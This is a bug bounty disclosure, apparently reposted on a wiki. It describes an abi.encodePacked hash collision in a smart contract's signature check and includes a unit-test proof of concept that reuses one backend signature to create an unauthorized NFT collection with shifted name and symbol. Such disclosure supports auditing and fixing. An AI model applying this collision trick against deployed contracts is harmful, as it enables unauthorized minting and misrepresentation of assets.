Users can create unauthorized accesstoken collections by exploiting abi encodepacked collision
The contract used abi.encodePacked to hash access token metadata containing multiple dynamic strings, allowing different name and symbol pairs to produce the same hash. An attacker could reuse a valid backend signature to create an unauthorised NFT collection with altered metadata.
- Disclosed after under an hour
56814 sc medium users can create unauthorized accesstoken collections by exploiting abi encodepacked collision
Submitted on Oct 20th 2025 at 21:35:01 UTC by @brivan for Audit Comp | Belong
- Report ID: #56814
- Report Type: Smart Contract
- Report severity: Medium
- Target: https://github.com/belongnet/checkin-contracts/blob/main/contracts/v2/utils/SignatureVerifier.sol
- Impacts:
- Unauthorized minting of NFTs
- Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief
Due to the unsafe use of abi.encodePacked when signing access token metadata, users can reuse a valid signature to create unauthorized NFT collections with different names and symbols.
Vulnerability Details
Users can call the factory’s produce function to create a new access token collection. A valid backend signature must authorize the collection’s metadata:
function produce(AccessTokenInfo memory accessTokenInfo, bytes32 referralCode) external returns (address nftAddress){
FactoryParameters memory factoryParameters = _nftFactoryParameters;
factoryParameters.signerAddress.checkAccessTokenInfo(accessTokenInfo);
bytes32 hashedSalt = _metadataHash(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol);
require(getNftInstanceInfo[hashedSalt].nftAddress == address(0), TokenAlreadyExists());
}
The accessTokenInfo is verified using the following function:
function checkAccessTokenInfo(address signer, AccessTokenInfo memory accessTokenInfo) external view {
require(
bytes(accessTokenInfo.metadata.name).length > 0 && bytes(accessTokenInfo.metadata.symbol).length > 0,
EmptyMetadata(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol)
);
require(
signer.isValidSignatureNow(
keccak256(
abi.encodePacked(
accessTokenInfo.metadata.name,
accessTokenInfo.metadata.symbol,
accessTokenInfo.contractURI,
accessTokenInfo.feeNumerator,
block.chainid
)
),
accessTokenInfo.signature
),
InvalidSignature()
);
}
The issue lies in the use of abi.encodePacked, which causes collision risks when encoding multiple dynamic types (name, symbol, and contractURI). Different concatenations of these fields can result in identical encoded outputs.
As a result, a valid signature authorizing an access token with specific metadata can be reused to create another collection with entirely different values. For example, a signature that authorizes the creation of collection with name USD Coin and symbol USDC can be used to create a collection with name USD and symbol CoinUSDC because:
abi.encodePacked("USD Coin", "USDC") == abi.encodePacked("USD ", "CoinUSDC")
This behavior is confirmed in the provided PoC.
Impact Details
This issue allows users to use signer's signature to create new access token collections that were not authorized by the signer. This clearly violates two critical impacts listed in the program:
- Unauthorized minting of NFTs
- Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)
Proof of Concept
Proof of Concept (unit test)
Copy and paste the following unit test in /test/v2/platform/factory.test.ts, inside the Deploy AccessToken describe:
describe('Deploy AccessToken', () => {
// ...
it('PoC', async () => {
const { signatureVerifier, factory, validator, alice, signer } = await loadFixture(fixture);
const nftName = 'AccessToken 1';
const nftSymbol = 'AT1';
const contractURI = 'contractURI/AccessToken123';
const price = ethers.utils.parseEther('0.05');
const feeNumerator = 500;
const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
const signature = EthCrypto.sign(signer.privateKey, message);
const info: AccessTokenInfoStruct = {
metadata: { name: nftName, symbol: nftSymbol },
contractURI: contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: signature,
};
const tx = await factory.connect(alice).produce(info, ethers.constants.HashZero);
await expect(tx).to.emit(factory, 'AccessTokenCreated');
const nftInstanceInfo = await factory.nftInstanceInfo(nftName, nftSymbol);
expect(nftInstanceInfo.nftAddress).to.not.be.equal(ZERO_ADDRESS);
let secondInfo = info;
secondInfo.metadata.name = "Access" // @audit notice modified name
secondInfo.metadata.symbol = "Token 1AT1" // @audit notice modified symbol
const tx2 = await factory.connect(alice).produce(info, ethers.constants.HashZero);
await expect(tx2).to.emit(factory, 'AccessTokenCreated');
const nftInstanceInfo2 = await factory.nftInstanceInfo("Access", "Token 1AT1");
expect(nftInstanceInfo2.nftAddress).to.not.be.equal(ZERO_ADDRESS);
});
})
(End of report)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the use of abi.encodePacked to hash multiple dynamic string fields without length prefixes or separators, causing hash collisions between different field boundaries.
Impact
An attacker could create NFT collections that were not authorised by the signer, leading to unauthorised minting and unintended alteration of what the NFT represents.
What the attacker needed
A valid backend signature for some collection; ability to call the factory produce function
How it was found
- Obtain a valid backend signature for a collection with a chosen name and symbol.
- Call the factory's produce function with that signature and metadata.
- Modify the name and symbol so their packed concatenation matches the original.
- Call produce again with the modified metadata and the same signature.
- Observe that a second collection is created with the altered name and symbol.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When data is packed together without separators, different pieces can slide into each other and look identical. Here the collection name and symbol were joined that way, so a signature meant for one name and symbol could be reused for a different pair that produced the same joined string. That let someone create a collection the signer never approved.
What is Crypto?
Encryption, signatures, randomness or certificate checks that do not protect what they claim to.